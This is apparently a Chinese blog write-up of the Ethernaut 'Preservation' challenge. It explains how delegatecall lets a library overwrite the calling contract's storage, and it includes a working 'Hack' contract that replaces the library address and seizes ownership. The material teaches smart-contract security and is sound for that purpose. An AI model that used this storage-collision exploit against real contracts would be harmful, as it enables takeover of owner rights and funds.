抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Preservation

1.题目要求

  • 1.1 该合约利用库合约保存 2 个不同时区的时间戳。合约的构造函数输入两个库合约地址用于保存不同时区的时间戳。

    通关条件:尝试取得合约的所有权(owner)。

    可能有帮助的注意点:

    1. 深入了解 Solidity 官网文档中底层方法 delegatecall 的工作原理,它如何在链上和库合约中的使用该方法,以及执行的上下文范围。
    2. 理解 delegatecall 的上下文保留的含义
    3. 理解合约中的变量是如何存储和访问的
    4. 理解不同类型之间的如何转换
  • 1.2 题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

2. 分析

参考文章1 参考文章2

第一类分析方法

  • 2.1 目标:声明对给定实例的所有权

  • 2.2 它有一个uint256 storedTime状态变量和一个 setter 函数setTime,可以根据用户的输入更新状态变量。

1
2
3
4
5
6
7
8
9
10
// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}
  • 2.3 分析主函数的代码

  • 它有五个不同的状态变量

    • address public timeZone1Library第一时区图书馆地址
    • address public timeZone2Library第二时区图书馆地址
    • address public owner所有者的地址
    • uint256 storedTime两个时区库之一存储的时间
    • bytes4 constant setTimeSignature``setTime时区库中函数的签名。constant由于关键字,这不是真正的状态变量

    合约的the constructorof the contract 采用两种address类型的输入来设置两个库地址并将所有者设置为msg.sender.

    然后我们有两个不同的功能

    • function setFirstTime(uint256 _timeStamp) public
    • function setSecondTime(uint256 _timeStamp) public

    它们是相同的,它们只是在两个不同的时区库上执行相同的代码

  • Preservation合约执行时setFirstTime(100),它会调用LibraryContract.setTime(100)via delegatecall

    执行的代码来自合约LibraryContract,但使用的上下文是执行操作码的上下文delegatecall。当我们谈论上下文时,我们指的是存储当前发送者( msg.sender) 和当前值( msg.value)。

    如果**LibraryContract**修改状态,它不会修改自己的状态,而是修改调用者(**Preservation**)的状态!这意味着当LibraryContract.setTime更新storedTime状态变量时,不是从它自己的合约更新变量,而是更新调用者合约的slot0中的变量,即timeZone1Library地址。

    setSecondTime执行函数时会发生同样的事情,它将更新合约slot0Preservation中的变量。

    我们如何利用这个漏洞?有没有办法修改delegatecall存储状态变量信息的第三个存储槽owner

    好吧,不是直接来自setFirstTime,否则会修改slot0setSecondTime变量的值。但是,如果我们将slot0地址替换为我们已部署的合约的地址,这将模拟相同的布局存储并且确实会更新slot3变量怎么办?

第二类分析方法

  • 保存合约使用地址中分配的合约timeZone1LibrarytimeZone2Library库合约。因此,对这些合约的所有调用都是在保存合约中完成的delegatecall,不会触及每个合约的存储LibraryContract,而是触及保存合约的存储。

    当我们storedTime通过库合约中的函数修改变量时,我们不是在库或保存合约中修改delegatecall,而是在保存合约中占用相应存储槽的变量。setTime()``storedTimestoredTime

    因此,调用setFirstTime()orsetSecondTime()timeZone1Library使用我们作为 传递的任何值进行修改_timeStamp。因此,为了利用合约并成为owner,我们需要部署一个与Preservation 具有相同存储布局的合约,这意味着我们的攻击者合约应该定义:

    1
    2
    3
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;

    与保存的顺序完全相同。

    此外,攻击者合约中必须定义两个附加功能:

    • 一个setTime()带有uint256参数的函数,在攻击者合约的情况下,它将修改其第三个内存槽中的变量,因此owner。这个变量的名称无关紧要,因为我们只对修改 Preservation 中的第 3 个内存槽感兴趣,但为了保持一致,我也将其命名为owner
    1
    2
    3
    function setTime(uint256) public {
    owner = tx.origin;
    }
    • 在保护中调用的函数setFirstTime(),以使timeZone1Library攻击者签订合同。如果每个 LibraryContract 都使用与 Preservation 相同的布局进行正确编码,则 Preservation 合约不会以这种方式受到攻击。
    1
    2
    3
    function setFirstTimeExploit() external {
    preservationContract.setFirstTime(uint256(address(this)));
    }

    preservationContract保存合同的接口在哪里。

    因此流程如下:

    1. 通过从攻击者合约调用来创建攻击者合约timeZone1Library地址setFirstTime()
    2. 使用setFirstTime()任何无符号整数作为参数调用保存合约,该合约setTime()在攻击者合约中执行,生成owner我们的原始地址。
  • 参考视频 写的攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract Hack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;

function attack(Preservation target) external {
target.setFirstTime(uint256(uint160(address(this))));
target.setFirstTime(uint256(uint160(msg.sender)));
require(target.owner() == msg.sender, "hack failed");
}

function setTime(uint _owner) external {
owner = address(uint160(_owner));
}
}

3. 解题

  • 3.1 获取关卡实例地址:0x5E4d571ae5dAA2A4D530a1a5B89C11d6fEae8440
  • 3.2 部署攻击合约,调用Hack 合约中的attack() 函数,形参是实例地址
  • image-20230225124517209
  • 3.3 提交案例
  • image-20230225124348349
  • 3.4 成功!!!!

评论



政策 · 统计 | 本站使用 Volantis 主题设计